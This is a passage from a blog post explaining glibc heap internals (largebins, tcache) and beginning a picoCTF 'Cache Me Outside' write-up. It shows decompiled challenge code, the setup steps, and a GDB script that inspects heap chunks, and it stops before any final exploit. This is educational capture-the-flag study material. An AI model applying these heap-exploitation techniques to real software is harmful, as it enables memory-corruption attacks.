punctuation\">(</span>sz<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> <span class=\"token number\">18</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">?</span> <span class=\"token number\">124</span> <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">(</span>sz<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> <span class=\"token number\">18</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">:</span></span><span class=\"token punctuation\">\\</span>\n   <span class=\"token expression\"><span class=\"token number\">126</span><span class=\"token punctuation\">)</span></span></span></code></pre></div>\n<p>The bins used are in the range from <code class=\"language-text\">bin_at(64)</code> to <code class=\"language-text\">bin_at(126)</code>.</p>\n<p>The <code class=\"language-text\">fd_nextsize</code> and <code class=\"language-text\">bk_nextsize</code> fields contained in the chunk are used to efficiently search for the target chunk within the largebin circular list.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token comment\">/* Only used for large blocks: pointer to next larger size.  */</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">malloc_chunk</span><span class=\"token operator\">*</span> fd_nextsize<span class=\"token punctuation\">;</span> <span class=\"token comment\">/* double links -- used only if free. */</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">malloc_chunk</span><span class=\"token operator\">*</span> bk_nextsize<span class=\"token punctuation\">;</span></code></pre></div>\n<h2 id=\"tcache\" style=\"position:relative;\"><a href=\"#tcache\" aria-label=\"tcache permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>tcache</h2>\n<p>tcache is a mechanism added in glibc-2.26 for caching freed chunks on a per-thread basis.</p>\n<p>For that reason, tcache is not managed inside an arena.</p>\n<p>One tcache is created per thread and is kept independently on TLS.</p>\n<p>Chunks are also managed not as <code class=\"language-text\">malloc_chunk</code> but as a singly linked list of <code class=\"language-text\">tcache_entry</code> structures.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token comment\">/* We overlay this structure on the user-data portion of a chunk when\n   the chunk is stored in the per-thread cache.  */</span>\n<span class=\"token keyword\">typedef</span> <span class=\"token keyword\">struct</span> <span class=\"token class-name\">tcache_entry</span>\n<span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">struct</span> <span class=\"token class-name\">tcache_entry</span> <span class=\"token operator\">*</span>next<span class=\"token punctuation\">;</span>\n  <span class=\"token comment\">/* This field exists to detect double frees.  */</span>\n  <span class=\"token class-name\">uintptr_t</span> key<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span> tcache_entry<span class=\"token punctuation\">;</span>\n\n<span class=\"token comment\">/* There is one of these for each thread, which contains the\n   per-thread cache (hence \"tcache_perthread_struct\").  Keeping\n   overall size low is mildly important.  Note that COUNTS and ENTRIES\n   are redundant (we could have just counted the linked list each\n   time), this is for performance reasons.  */</span>\n<span class=\"token keyword\">typedef</span> <span class=\"token keyword\">struct</span> <span class=\"token class-name\">tcache_perthread_struct</span>\n<span class=\"token punctuation\">{</span>\n  <span class=\"token class-name\">uint16_t</span> counts<span class=\"token punctuation\">[</span>TCACHE_MAX_BINS<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n  tcache_entry <span class=\"token operator\">*</span>entries<span class=\"token punctuation\">[</span>TCACHE_MAX_BINS<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span> tcache_perthread_struct<span class=\"token punctuation\">;</span></code></pre></div>\n<p>The maximum chunk size that tcache can manage is up to 0x410 bytes.</p>\n<p>Also, the <code class=\"language-text\">key</code> in <code class=\"language-text\">tcache_entry</code> stores the start address of the <code class=\"language-text\">tcache_perthread_struct</code> to which the cache belongs.</p>\n<p>This key is used to detect Double Free.</p>\n<h2 id=\"heap-exploit-practice\" style=\"position:relative;\"><a href=\"#heap-exploit-practice\" aria-label=\"heap exploit practice permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Heap Exploit Practice</h2>\n<h3 id=\"picoctf--cache-me-outside\" style=\"position:relative;\"><a href=\"#picoctf--cache-me-outside\" aria-label=\"picoctf  cache me outside permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>picoCTF:  Cache Me Outside</h3>\n<p>If you try to run the provided binary normally, you get an error that is hard to make sense of.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">$ <span class=\"token assign-left variable\">LD_PRELOAD</span><span class=\"token operator\">=</span>./libc.so.6 ./heapedit\nInconsistency detected by ld.so: dl-call-libc-early-init.c: <span class=\"token number\">37</span>: _dl_call_libc_early_init: Assertion `sym <span class=\"token operator\">!=</span> NULL' failed<span class=\"token operator\">!</span></code></pre></div>\n<p>Apparently the linker version did not match, so I used <code class=\"language-text\">pwninit</code>.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">$ pwninit\nbin: ./heapedit\nlibc: ./libc.so.6\nld: ./ld-2.27.so\n\nunstripping libc\nhttps://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.27-3ubuntu1.2_amd64.deb\nwarning: failed unstripping libc: failed running eu-unstrip, please <span class=\"token function\">install</span> elfutils: No such <span class=\"token function\">file</span> or directory <span class=\"token punctuation\">(</span>os error <span class=\"token number\">2</span><span class=\"token punctuation\">)</span>\nsetting ./ld-2.27.so executable\ncopying ./heapedit to ./heapedit_patched\nrunning patchelf on ./heapedit_patched\nwriting solve.py stub</code></pre></div>\n<p>However, even when I ran the binary patched by <code class=\"language-text\">pwninit</code>, it segfaulted and I got stuck.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">$ ./heapedit_patched \nSegmentation fault</code></pre></div>\n<p>Apparently it could not run because <code class=\"language-text\">flag.txt</code> did not exist.</p>\n<div class=\"gatsby-highlight\" data-language=\"text\"><pre class=\"language-text\"><code class=\"language-text\">$ ltrace ./heapedit_patched \nsetbuf(0x7f033fedd760, 0)                                                    = &lt;void>\nfopen(\"flag.txt\", \"r\")                                                       = 0\nfgets( &lt;no return ...>\n--- SIGSEGV (Segmentation fault) ---\n+++ killed by SIGSEGV +++</code></pre></div>\n<p>So after creating <code class=\"language-text\">flag.txt</code>, it started working for the time being.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 465px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/d5f6ebbc87e2a325f4684fe5c9962034/9ff85/image-20220705204418762.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 27.083333333333332%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA4ElEQVQY052Q23KDMAxE+ZX0CXMxEDAQbraRIQlJafv/H7NRoO1M+tiHM1qtNZqVPaky5K1G5z5wsgtarg29o2Hd0YpyIISZBDnCut5xucy43RaY0UCEIYIghBABs2vv2JyQ1z0GY0DThOm6wBJBj+PWk3MoawUpJfL8iDRNkGUpEq6+8OH7O0LseNNEMEZj6BucZ8LXukAVObTu0bPXdw2qqoRSBeq6Yq3Yb2Gt5r7kJeIFz9phGyh4yXl2+LxfcTi8cfzgd+gnxZ5EvPh/370oivAkjmOE338iE7md+B8eDOug47FlfqwAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/d5f6ebbc87e2a325f4684fe5c9962034/8ac56/image-20220705204418762.webp 240w,\n/static/d5f6ebbc87e2a325f4684fe5c9962034/51ce3/image-20220705204418762.webp 465w\"\n              sizes=\"(max-width: 465px) 100vw, 465px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/d5f6ebbc87e2a325f4684fe5c9962034/8ff5a/image-20220705204418762.png 240w,\n/static/d5f6ebbc87e2a325f4684fe5c9962034/9ff85/image-20220705204418762.png 465w\"\n            sizes=\"(max-width: 465px) 100vw, 465px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/d5f6ebbc87e2a325f4684fe5c9962034/9ff85/image-20220705204418762.png\"\n            alt=\"image-20220705204418762\"\n            title=\"image-20220705204418762\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Since I still did not really understand what had changed, I took an elfdiff.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/ff9467820523ef74a1aff2bda64f13d6/d6a46/image-20220705211712329.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 83.75%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAAAsTAAALEwEAmpwYAAACdElEQVQ4y32T627iUAyE8zSVtjSQkMA5IfcblJaWbt//Xbz+nJwKrVb7wwox8Xg8Y0enqpK2qcT7ozh3kLouNSopy5OkaSJx/CKHPJM8yyRJEtluY8vtdluLOI5ls9nIy8tGnp+fJSKZaQHFuT77vpVh6KRRYOeO1uD6epZXjXHspWmWZqdTYc+i8HI8HizAiLZbBcz2BnY45NJ1zU84Zd00tVyvFwUkZmvYto1NUVWlhXNea4+y1ykiQEjSwXtnxcQ8D8Zgmgb5/r7L9++7fNzeND/JpExhOwy9Nm71u1IZnxTjqCMnO9nv98auKJxczpNcLrOMOvapLKzw6+tD7vcPedNG0zSuo9c/LL33RoYpo0QB81VDgNFo0amwJhTR4KyNTFsFgnkYFy2dc6Z3nufLyHyAwwhMsQHMo+UBud9v8vl5k9vtagzJMWqnWnaAKmCh4+ZKKEr3qTJRsNW1WYFgg/gwh8VZdSMfXK5WdxnTKxjagcFqRXSiI2C4Bxv0ulwmbeINxHLKELNGNWk0UwYzpV9NoR5jI0DohBZBL3YOhsgBoyBD0LCxQ/CmHSBoR6RpKlFds1edbn2q277TrWf7E/n1ayNPT0/CnhJcRBxvH97D753WLsElGUN0ogMuh33CNd4XB93PdfBf0A/d+AYg2CUwLIrCRgAgU1FZZBq0bW1nFxrOq7v8RndGBzR7ALSRZ3X0/f1qLnJuXELfdwaMPrAClPdWQcjRmAjsHiMK215Wi1PLwRcGFPSCPWNi0qNe/4rofObMenOYgF0YEzY0YDRAw2oAGEb8OyIEh80itFegar0cTElXIw625DDHiP8x/AP01zjzoMJr6gAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/ff9467820523ef74a1aff2bda64f13d6/8ac56/image-20220705211712329.webp 240w,\n/static/ff9467820523ef74a1aff2bda64f13d6/d3be9/image-20220705211712329.webp 480w,\n/static/ff9467820523ef74a1aff2bda64f13d6/e46b2/image-20220705211712329.webp 960w,\n/static/ff9467820523ef74a1aff2bda64f13d6/6e1e4/image-20220705211712329.webp 1008w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/ff9467820523ef74a1aff2bda64f13d6/8ff5a/image-20220705211712329.png 240w,\n/static/ff9467820523ef74a1aff2bda64f13d6/e85cb/image-20220705211712329.png 480w,\n/static/ff9467820523ef74a1aff2bda64f13d6/d9199/image-20220705211712329.png 960w,\n/static/ff9467820523ef74a1aff2bda64f13d6/d6a46/image-20220705211712329.png 1008w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/ff9467820523ef74a1aff2bda64f13d6/d9199/image-20220705211712329.png\"\n            alt=\"image-20220705211712329\"\n            title=\"image-20220705211712329\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>From here, I actually solved the challenge.</p>\n<p>Looking at the decompiled binary, after calling <code class=\"language-text\">malloc</code> eight times it performs some processing, rewrites the value at the address I specify, then performs a ninth <code class=\"language-text\">malloc</code>, and it seems to print the data portion of that address with <code class=\"language-text\">puts((char *)((long)local_80 + 0x10));</code>.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\">  <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span>local_a4 <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> local_a4 <span class=\"token operator\">&lt;</span> <span class=\"token number\">7</span><span class=\"token punctuation\">;</span> local_a4 <span class=\"token operator\">=</span> local_a4 <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    local_98 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>undefined8 <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token function\">malloc</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x80</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>local_a0 <span class=\"token operator\">==</span> <span class=\"token punctuation\">(</span>undefined8 <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token number\">0x0</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      local_a0 <span class=\"token operator\">=</span> local_98<span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token operator\">*</span>local_98 <span class=\"token operator\">=</span> <span class=\"token number\">0x73746172676e6f43</span><span class=\"token punctuation\">;</span>\n    local_98<span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x662072756f592021</span><span class=\"token punctuation\">;</span>\n    local_98<span class=\"token punctuation\">[</span><span class=\"token number\">2</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x203a73692067616c</span><span class=\"token punctuation\">;</span>\n    <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span>undefined <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span>local_98 <span class=\"token operator\">+</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">strcat</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>local_98<span class=\"token punctuation\">,</span>local_58<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n\n  local_88 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>undefined8 <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token function\">malloc</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x80</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token operator\">*</span>local_88 <span class=\"token operator\">=</span> <span class=\"token number\">0x5420217972726f53</span><span class=\"token punctuation\">;</span>\n  local_88<span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x276e6f7720736968</span><span class=\"token punctuation\">;</span>\n  local_88<span class=\"token punctuation\">[</span><span class=\"token number\">2</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x7920706c65682074</span><span class=\"token punctuation\">;</span>\n  <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span>undefined4 <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span>local_88 <span class=\"token operator\">+</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x203a756f</span><span class=\"token punctuation\">;</span>\n  <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span>undefined <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span>local_88 <span class=\"token operator\">+</span> <span class=\"token number\">0x1c</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n  <span class=\"token function\">strcat</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>local_88<span class=\"token punctuation\">,</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token operator\">&amp;</span>local_78<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token function\">free</span><span class=\"token punctuation\">(</span>local_98<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token function\">free</span><span class=\"token punctuation\">(</span>local_88<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  local_a8 <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n  local_a9 <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n\n  <span class=\"token function\">puts</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"You may edit one byte in the program.\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Address: \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token function\">__isoc99_scanf</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>DAT_00400b48<span class=\"token punctuation\">,</span><span class=\"token operator\">&amp;</span>local_a8<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Value: \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token function\">__isoc99_scanf</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>DAT_00400b53<span class=\"token punctuation\">,</span><span class=\"token operator\">&amp;</span>local_a9<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span>undefined <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span>local_a8 <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span>local_a0<span class=\"token punctuation\">)</span> <span class=\"token operator\">=</span> local_a9<span class=\"token punctuation\">;</span>\n  local_80 <span class=\"token operator\">=</span> <span class=\"token function\">malloc</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x80</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token function\">puts</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span>local_80 <span class=\"token operator\">+</span> <span class=\"token number\">0x10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span></code></pre></div>\n<p>At this point, we already know that the variable stored on the Heap at <code class=\"language-text\">strcat((char *)local_98,local_58);</code> contains the contents read from <code class=\"language-text\">flag.txt</code>.</p>\n<p>So in the end, if we can somehow read data from this Heap region, it looks like we can recover the flag.</p>\n<p>Therefore, I decided to examine how the Heap actually behaves.</p>\n<p>From the contents of the Makefile included with the challenge, we can see that PIE is disabled.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">gcc -Xlinker -rpath<span class=\"token operator\">=</span>./ -Wall -m64 -pedantic -no-pie --std<span class=\"token operator\">=</span>gnu99 -o heapedit heapedit.c</code></pre></div>\n<p>From this, ASLR should not affect the binary itself, and the runtime addresses are expected to remain the same each time.</p>\n<p>Next, I used the following script to run GDB and inspect the addresses and contents of each Heap chunk.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token comment\"># gdb -x run.py</span>\n<span class=\"token keyword\">import</span> gdb\n\nBIN <span class=\"token operator\">=</span> <span class=\"token string\">\"heapedit_patched\"</span>\ngdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">'file {}'</span><span class=\"token punctuation\">.</span><span class=\"token builtin\">format</span><span class=\"token punctuation\">(</span>BIN<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ngdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">'b *{}'</span><span class=\"token punctuation\">.</span><span class=\"token builtin\">format</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"0x4008c3\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ngdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">'b *{}'</span><span class=\"token punctuation\">.</span><span class=\"token builtin\">format</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"0x40094a\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ngdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">'b *{}'</span><span class=\"token punctuation\">.</span><span class=\"token builtin\">format</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"0x400966\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ngdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">'b *{}'</span><span class=\"token punctuation\">.</span><span class=\"token builtin\">format</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"0x400a4f\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ngdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">'b *{}'</span><span class=\"token punctuation\">.</span><span class=\"token builtin\">format</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"0x400a75\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ngdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">'run &lt; input'</span><span class=\"token punctuation\">)</span>\n\nh <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span>\ni <span class=\"token operator\">=</span> gdb<span class=\"token punctuation\">.</span>inferiors<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span>\n<span class=\"token keyword\">for</span> k <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">9</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    reg <span class=\"token operator\">=</span> <span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>gdb<span class=\"token punctuation\">.</span>parse_and_eval<span class=\"token punctuation\">(</span><span class=\"token string\">\"$rax\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    h<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span>reg<span class=\"token punctuation\">)</span>\n    gdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">\"continue\"</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>h<span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">for</span> a <span class=\"token keyword\">in</span> h<span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">hex</span><span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> end<span class=\"token operator\">=</span><span class=\"token string\">\"  \"</span><span class=\"token punctuation\">)</span>\n    mem <span class=\"token operator\">=</span> i<span class=\"token punctuation\">.</span>read_memory<span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">,</span> <span class=\"token number\">0x30</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>mem<span class=\"token punctuation\">.</span>tobytes<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\ngdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">'quit'</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>From top to bottom, they were arranged as follows, and we can see that the flag text is embedded in each Heap chunk.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/3103d802e2ffbdf1544b4570ffe0618b/121b3/image-20220710150640402.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 21.666666666666668%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAw0lEQVQY0z2PWQ6DMAwFORFbIQlkXwqiAtr7X+bVcaV+jGLH8thuSsnwzsJ5Bx8jfIgUexizIkZHryVqHhFCwr4//8zzhL7vMQzDnyblCK0XOGfgvYWSgpo1pJxJ4GmAI3FEzhuO48B9n/h8LpzngXEc0bYtuq5jqrzZtsIyR1tmkltrWGT0ynmNKyll2mpn4ft94bpeWNeFBgsoJQmFaZrQ1A00FWoxUMzEKgg8pDb8GiWWRfFfKYmucRBCcP2HJOEDX6uxiQz+zwDGAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/3103d802e2ffbdf1544b4570ffe0618b/8ac56/image-20220710150640402.webp 240w,\n/static/3103d802e2ffbdf1544b4570ffe0618b/d3be9/image-20220710150640402.webp 